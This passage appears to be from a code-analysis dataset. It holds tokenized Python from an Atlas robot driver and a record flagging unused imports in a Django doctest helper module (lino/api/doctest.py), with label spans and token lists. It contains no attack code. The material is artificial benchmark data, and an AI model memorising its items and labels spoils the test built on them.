"'",
"STATE",
"\\u",
"EST",
"\\u",
"READY",
"'_",
",_",
"read",
"y",
"\\u",
"init_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"1_",
")_",
"#",
" ",
"sleep",
" ",
"need",
"ed",
" ",
"to",
" ",
"give",
" ",
"SE",
" ",
"time",
" ",
"to",
" ",
"restart_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Ini",
"t",
"Message_",
"(_",
"self_",
",_",
"pos_",
",_",
"yaw_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"init_",
"=_",
"indexe",
"d\\u",
"measure",
"ment",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"utime",
"_",
"=_",
"get",
"Ut",
"ime_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"state",
"\\u",
"utime",
"_",
"=_",
"init_",
"._",
"utime",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"measure",
"d\\u",
"dim_",
"=_",
"4_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"z",
"\\u",
"effective",
"_",
"=_",
"[_",
"pos_",
"[_",
"0_",
"]_",
",_",
"pos_",
"[_",
"1_",
"]_",
",_",
"pos_",
"[_",
"2_",
"]_",
",_",
"yaw_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"z",
"\\u",
"indices_",
"=_",
"[_",
"9_",
",_",
"10_",
",_",
"11_",
",_",
"8_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"init_",
"._",
"measure",
"d\\u",
"cov",
"\\u",
"dim_",
"=_",
"init_",
"._",
"measure",
"d\\u",
"dim_",
"*_",
"init_",
"._",
"measure",
"d\\u",
"dim_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"R",
"\\u",
"effective",
"_",
"=_",
"[_",
"0_",
"]_",
"*_",
"init_",
"._",
"measure",
"d\\u",
"cov",
"\\u",
"dim_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"R",
"\\u",
"effective",
"_",
"[_",
"0_",
"]_",
"=_",
"0.25_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"R",
"\\u",
"effective",
"_",
"[_",
"5_",
"]_",
"=_",
"0.25_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"R",
"\\u",
"effective",
"_",
"[_",
"10_",
"]_",
"=_",
"0.25_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"init_",
"._",
"R",
"\\u",
"effective",
"_",
"[_",
"15_",
"]_",
"=_",
"math_",
"._",
"pow_",
"(_",
"50_",
"*_",
"math_",
"._",
"pi_",
"/_",
"180_",
",_",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"MAV",
"\\u",
"STATE",
"\\u",
"EST",
"\\u",
"VIEW",
"ER",
"\\u",
"MEASURE",
"MENT",
"'_",
",_",
"init_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"update",
"Combine",
"d",
"Stand",
"Logic_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"(_",
"self_",
"._",
"sent",
"Stand",
"Ut",
"ime_",
"is_",
"not_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"(_",
"self_",
"._",
"start",
"up",
"Stage_",
"==_",
"1_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"(_",
"get",
"Ut",
"ime_",
"(_",
")_",
">_",
"self_",
"._",
"sent",
"Stand",
"Ut",
"ime_",
"+_",
"6",
"E6",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"print",
" ",
"\"",
"Sen",
"ding",
" ",
"SE",
" ",
"Ini",
"t",
"\"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Ini",
"t",
"At",
"Zero_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"start",
"up",
"Stage_",
"=_",
"2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"(_",
"self_",
"._",
"start",
"up",
"Stage_",
"==_",
"2_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"(_",
"get",
"Ut",
"ime_",
"(_",
")_",
">_",
"self_",
"._",
"sent",
"Stand",
"Ut",
"ime_",
"+_",
"10",
"E6",
"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"send",
"Behavio",
"r",
"Command_",
"(_",
"'",
"user",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"send",
"MIT",
"Stand",
"Command_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"print",
" ",
"\"",
"Sen",
"ding",
" ",
"BD",
"I",
" ",
"User",
" ",
"&",
" ",
"MIT",
" ",
"Stand",
" ",
"command",
"s",
"\"_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"start",
"up",
"Stage_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Pel",
"vis",
"Hei",
"ght",
"Limits_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"return",
"s",
" ",
"pel",
"vis",
" ",
"height",
" ",
"limit",
"s",
" ",
"in",
" ",
"mete",
"rs",
":",
" ",
"min",
",",
" ",
"max",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"(_",
"0.66",
"_",
",_",
"0.92",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"Pel",
"vis",
"Hei",
"ght",
"Command_",
"(_",
"self_",
",_",
"height_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"height",
"Limit_",
"=_",
"self_",
"._",
"get",
"Pel",
"vis",
"Hei",
"ght",
"Limits_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"height",
"Limit_",
"[_",
"0_",
"]_",
"<=_",
"height_",
"<=_",
"height",
"Limit_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"pel",
"vis",
"Params_",
"=_",
"atlas",
"_",
"._",
"behavior",
"\\u",
"pel",
"vis",
"\\u",
"servo",
"\\u",
"params",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pel",
"vis",
"Params_",
"._",
"com",
"\\u",
"v0_",
"=_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pel",
"vis",
"Params_",
"._",
"com",
"\\u",
"v1_",
"=_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pel",
"vis",
"Params_",
"._",
"pel",
"vis",
"\\u",
"height_",
"=_",
"height_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pel",
"vis",
"Params_",
"._",
"pel",
"vis",
"\\u",
"yaw_",
"=_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pel",
"vis",
"Params_",
"._",
"pel",
"vis",
"\\u",
"pitch_",
"=_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pel",
"vis",
"Params_",
"._",
"pel",
"vis",
"\\u",
"roll_",
"=_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"=_",
"atlas",
"_",
"._",
"behavior",
"\\u",
"manipulate",
"\\u",
"params",
"\\u",
"t_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"use",
"\\u",
"demo",
"\\u",
"mode_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"use",
"\\u",
"desired_",
"=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"._",
"desired_",
"=_",
"pel",
"vis",
"Params_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"lcm",
"Utils_",
"._",
"publish_",
"(_",
"'",
"AT",
"LAS",
"\\u",
"MAN",
"IP",
"ULAT",
"E",
"\\u",
"PARAM",
"S",
"'_",
",_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"init_",
"(_",
"output",
"Console_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"global_",
"driver_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"driver_",
"=_",
"Atla",
"s",
"Driver_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | lsaffre/lino/lino/api/doctest.py | [
{
"content": "# -*- coding: UTF-8 -*-\n# Copyright 2015 Luc Saffre\n# License: BSD (see file COPYING for details)\n\n\"\"\"A selection of names to be used in tested documents.\"\"\"\nfrom __future__ import print_function\n\n\nfrom lino import AFTER17\nif AFTER17:\n import django\n django.setup()\nfrom lino.api.shell import *\nfrom django.utils import translation\nfrom django.test import Client\nimport json\nfrom bs4 import BeautifulSoup\nfrom lino.utils import AttrDict\nfrom lino.utils import i2d\nfrom lino.utils.xmlgen.html import E\nfrom lino.utils.diag import analyzer\n\nfrom atelier.rstgen import attrtable\n\ntest_client = Client()\n# naming it simply \"client\" caused conflict with a\n# `lino_welfare.pcsw.models.Client`\n\nimport collections\nHttpQuery = collections.namedtuple(\n 'HttpQuery',\n ['username', 'url_base', 'json_fields', 'expected_rows', 'kwargs'])\n\n\n\n\n\n\n\n\n\n\n\n\n \n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "def get_json_dict(username, uri, an='detail'):\n url = '/api/{0}?fmt=json&an={1}'.format(uri, an)\n res = test_client.get(url, REMOTE_USER=username)\n assert res.status_code == 200\n return json.loads(res.content)",
"metadata": "root.get_json_dict",
"header": "['module', '___EOS___']",
"index": 34
},
{
"content": "def get_json_soup(username, uri, fieldname, **kwargs):\n \"\"\"Being authentified as `username`, perform a web request to `uri` of\n the test client.\n\n \"\"\"\n d = get_json_dict(username, uri, **kwargs)\n html = d['data'][fieldname]\n return BeautifulSoup(html, 'lxml')",
"metadata": "root.get_json_soup",
"header": "['module', '___EOS___']",
"index": 41
},
{
"content": "def post_json_dict(username, url, data, **extra):\n \"\"\"Send a POST with given username, url and data. The client is\n expected to respond with a JSON encoded response. Parse the\n response's content (which is expected to contain a dict), convert\n this dict to an AttrDict before returning it.\n\n \"\"\"\n res = test_client.post(url, data, REMOTE_USER=username, **extra)\n assert res.status_code == 200\n return AttrDict(json.loads(res.content))",
"metadata": "root.post_json_dict",
"header": "['module', '___EOS___']",
"index": 51
},
{
"content": "def check_json_result(response, expected_keys=None, msg=''):\n \"\"\"Checks the result of response which is expected to return a\n JSON-encoded dictionary with the expected_keys.\n\n \"\"\"\n # print(\"20150129 response is %r\" % response.content)\n if response.status_code != 200:\n raise Exception(\n \"Response status ({0}) was {1} instead of 200\".format(\n msg, response.status_code))\n try:\n result = json.loads(response.content)\n except ValueError as e:\n raise Exception(\"{0} in {1}\".format(e, response.content))\n if expected_keys is not None:\n if set(result.keys()) != set(expected_keys.split()):\n raise Exception(\"'{0}' != '{1}'\".format(\n ' '.join(list(result.keys())), expected_keys))\n return result",
"metadata": "root.check_json_result",
"header": "['module', '___EOS___']",
"index": 63
},
{
"content": "def demo_get(\n username, url_base, json_fields,\n expected_rows=None, **kwargs):\n from django.conf import settings\n case = HttpQuery(username, url_base, json_fields,\n expected_rows, kwargs)\n # Django test client does not like future pseudo-unicode strings\n # See #870\n url = str(settings.SITE.buildurl(case.url_base, **case.kwargs))\n # print(20160329, url)\n if True:\n msg = 'Using remote authentication, but no user credentials found.'\n try:\n response = self.client.get(url)\n raise Exception(\"Expected '%s'\" % msg)\n except Exception:\n pass\n #~ self.tc.assertEqual(str(e),msg)\n #~ if str(e) != msg:\n #~ raise Exception(\"Expected %r but got %r\" % (msg,str(e)))\n\n response = test_client.get(url, REMOTE_USER=str('foo'))\n if response.status_code != 403:\n raise Exception(\n \"Status code %s other than 403 for anonymous on GET %s\" % (\n response.status_code, url))\n\n response = test_client.get(url, REMOTE_USER=str(case.username))\n # try:\n if True:\n user = settings.SITE.user_model.objects.get(\n username=case.username)\n result = check_json_result(\n response, case.json_fields,\n \"GET %s for user %s\" % (url, user))\n\n num = case.expected_rows\n if num is not None:\n if not isinstance(num, tuple):\n num = [num]\n if result['count'] not in num:\n msg = \"%s got %s rows instead of %s\" % (\n url, result['count'], num)\n raise Exception(msg)\n\n # except Exception as e:\n # print(\"%s:\\n%s\" % (url, e))\n # raise",
"metadata": "root.demo_get",
"header": "['module', '___EOS___']",
"index": 84
},
{
"content": "def screenshot(obj, filename, rstname, username='robin'):\n \"\"\"Insert a screenshot of the detail window for the given database\n object.\n\n Usage example in the source code of\n http://xl.lino-framework.org/specs/holidays.html.\n\n Problems: doesn't seem to wait long enough and\n therefore produces a white .png file.\n\n How to specify the filename? the current directory when doctest is\n running is normally the project root, but that's not sure. Best\n place would be the same directory as the rst file, but how to know\n that name from within a tested snippet?\n\n \"\"\"\n from lino.api.selenium import Album, runserver\n\n assert filename.endswith('.png')\n assert rstname.endswith('.rst')\n\n self = dd.plugins.extjs.renderer\n uri = self.get_detail_url(obj)\n # ar = rt.login(username, renderer=self)\n # h = self.instance_handler(ar, obj)\n # uri = self.js2url(h)\n print(uri)\n\n def f(driver):\n app = Album(driver)\n driver.get(\"http://127.0.0.1:8000\" + uri)\n # driver.get(uri)\n app.stabilize()\n if not driver.get_screenshot_as_file(filename):\n app.error(\"Failed to create {0}\".format(filename))\n\n runserver(settings.SETTINGS_MODULE, f)",
"metadata": "root.screenshot",
"header": "['module', '___EOS___']",
"index": 134
}
]
| [
{
"span": "from django.utils import translation",
"start_line": 13,
"start_column": 0,
"end_line": 13,
"end_column": 36
},
{
"span": "from lino.utils import i2d",
"start_line": 18,
"start_column": 0,
"end_line": 18,
"end_column": 26
},
{
"span": "from lino.utils.xmlgen.html import E",
"start_line": 19,
"start_column": 0,
"end_line": 19,
"end_column": 36
},
{
"span": "from lino.utils.diag import analyzer",
"start_line": 20,
"start_column": 0,
"end_line": 20,
"end_column": 36
},
{
"span": "from atelier.rstgen import attrtable",
"start_line": 22,
"start_column": 0,
"end_line": 22,
"end_column": 36
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"-*-",
" ",
"codi",
"ng",
":",
" ",
"UT",
"F",
"-",
"8",
" ",
"-*-",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Copy",
"right",
" ",
"201",
"5",
" ",
"Luc",
" ",
"Saf",
"fre",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"License",
":",
" ",
"BS",
"D",
" ",
"(",
"see",
" ",
"file",
" ",
"COPY",
"ING",
" ",
"for",
" ",
"deta",
"il",
"s",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"\"\"",
"A",
" ",
"selection",
" ",
"of",
" ",
"names",
" ",
"to",
" ",
"be",
" ",
"used",
" ",
"in",
" ",
"tested",
" ",
"document",
"s",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"\\u\\u",
"future\\u\\u_",
"import_",
"print",
"\\u",
"function_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"lino",
"_",
"import_",
"AFTER",
"17_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"AFTER",
"17_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"import_",
"django_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"django_",
"._",
"setup_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"from_",
"lino",
"_",
"._",
"api_",
"._",
"shell_",
"import_",
"*_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"utils_",
"import_",
"translation_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"test_",
"import_",
"Client_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"json_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"bs4_",
"import_",
"Bea",
"uti",
"ful",
"Soup_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"lino",
"_",
"._",
"utils_",
"import_",
"Attr",
"Dict_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"lino",
"_",
"._",
"utils_",
"import_",
"i2",
"d_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"lino",
"_",
"._",
"utils_",
"._",
"xml",
"gen_",
"._",
"html_",
"import_",
"E_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"lino",
"_",
"._",
"utils_",
"._",
"diag_",
"import_",
"analyzer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"ate",
"lie",
"r_",
"._",
"rst",
"gen_",
"import_",
"attr",
"table_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"test\\u",
"client_",
"=_",
"Client_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"nami",
"ng",
" ",
"it",
" ",
"simp",
"ly",
" ",
"\"",
"client",
"\"",
" ",
"caus",
"ed",
" ",
"confl",
"ict",
" ",
"with",
" ",
"a_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"`",
"lino",
"\\u",
"wel",
"fare",
".",
"pcs",
"w",
".",
"model",
"s",
".",
"Client",
"`_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"collections_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"Http",
"Query_",
"=_",
"collections_",
"._",
"namedtuple_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Http",
"Query",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"'",
"user",
"name",
"'_",
",_",
"'",
"url",
"\\u",
"base",
"'_",
",_",
"'",
"json",
"\\u",
"fields",
"'_",
",_",
"'",
"expected",
"\\u",
"rows",
"'_",
",_",
"'",
"kwarg",
"s",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"get",
"\\u",
"json",
"\\u",
"dict_",
"(_",
"username_",
",_",
"uri_",
",_",
"an_",
"=_",
"'",
"deta",
"il",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"url_",
"=_",
"'/",
"api",
"/{",
"0",
"}?",
"fmt",
"=",
"json",
"&",
"an",
"={",
"1",
"}'_",
"._",
"format_",
"(_",
"uri_",
",_",
"an_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"res_",
"=_",
"test\\u",
"client_",
"._",
"get_",
"(_",
"url_",
",_",
"REMO",
"TE",
"\\u",
"USER_",
"=_",
"username_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"res_",
"._",
"status",
"\\u",
"code_",
"==_",
"200_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"json_",
"._",
"loads_",
"(_",
"res_",
"._",
"content_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"json",
"\\u",
"soup_",
"(_",
"username_",
",_",
"uri_",
",_",
"fieldname_",
",_",
"**_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Bei",
"ng",
" ",
"authe",
"nti",
"fied",
" ",
"as",
" ",
"`",
"user",
"name",
"`",
",",
" ",
"perform",
" ",
"a",
" ",
"web",
" ",
"request",
" ",
"to",
" ",
"`",
"uri",
"`",
" ",
"of",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"the",
" ",
"test",
" ",
"client",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"d_",
"=_",
"get",
"\\u",
"json",
"\\u",
"dict_",
"(_",
"username_",
",_",
"uri_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"html_",
"=_",
"d_",
"[_",
"'",
"data",
"'_",
"]_",
"[_",
"fieldname_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"Bea",
"uti",
"ful",
"Soup_",
"(_",
"html_",
",_",
"'",
"lx",
"ml",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"post",
"\\u",
"json",
"\\u",
"dict_",
"(_",
"username_",
",_",
"url_",
",_",
"data_",
",_",
"**_",
"extra_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Sen",
"d",
" ",
"a",
" ",
"POST",
" ",
"with",
" ",
"give",
"n",
" ",
"user",
"name",
",",
" ",
"url",
" ",
"and",
" ",
"data",
".",
" ",
"The",
" ",
"client",
" ",
"is",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"expected",
" ",
"to",
" ",
"respond",
" ",
"with",
" ",
"a",
" ",
"JSO",
"N",
" ",
"encode",
"d",
" ",
"response",
".",
" ",
"Pars",
"e",
" ",
"the",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"response",
"'",
"s",
" ",
"content",
" ",
"(",
"whi",
"ch",
" ",
"is",
" ",
"expected",
" ",
"to",
" ",
"contain",
" ",
"a",
" ",
"dict",
"),",
" ",
"convert",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"this",
" ",
"dict",
" ",
"to",
" ",
"an",
" ",
"Attr",
"Dict",
" ",
"bef",
"ore",
" ",
"return",
"ing",
" ",
"it",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"res_",
"=_",
"test\\u",
"client_",
"._",
"post_",
"(_",
"url_",
",_",
"data_",
",_",
"REMO",
"TE",
"\\u",
"USER_",
"=_",
"username_",
",_",
"**_",
"extra_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"res_",
"._",
"status",
"\\u",
"code_",
"==_",
"200_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"Attr",
"Dict_",
"(_",
"json_",
"._",
"loads_",
"(_",
"res_",
"._",
"content_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"check",
"\\u",
"json",
"\\u",
"result_",
"(_",
"response_",
",_",
"expected",
"\\u",
"keys_",
"=_",
"None_",
",_",
"msg_",
"=_",
"''_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Check",
"s",
" ",
"the",
" ",
"result",
" ",
"of",
" ",
"response",
" ",
"whi",
"ch",
" ",
"is",
" ",
"expected",
" ",
"to",
" ",
"return",
" ",
"a",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"JSO",
"N",
"-",
"encode",
"d",
" ",
"dictionar",
"y",
" ",
"with",
" ",
"the",
" ",
"expected",
"\\u",
"keys",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"print",
"(\"",
"20150",
"129",
" ",
"response",
" ",
"is",
" ",
"%",
"r",
"\"",
" ",
"%",
" ",
"response",
".",
"content",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"response_",
"._",
"status",
"\\u",
"code_",
"!=_",
"200_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Exception_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
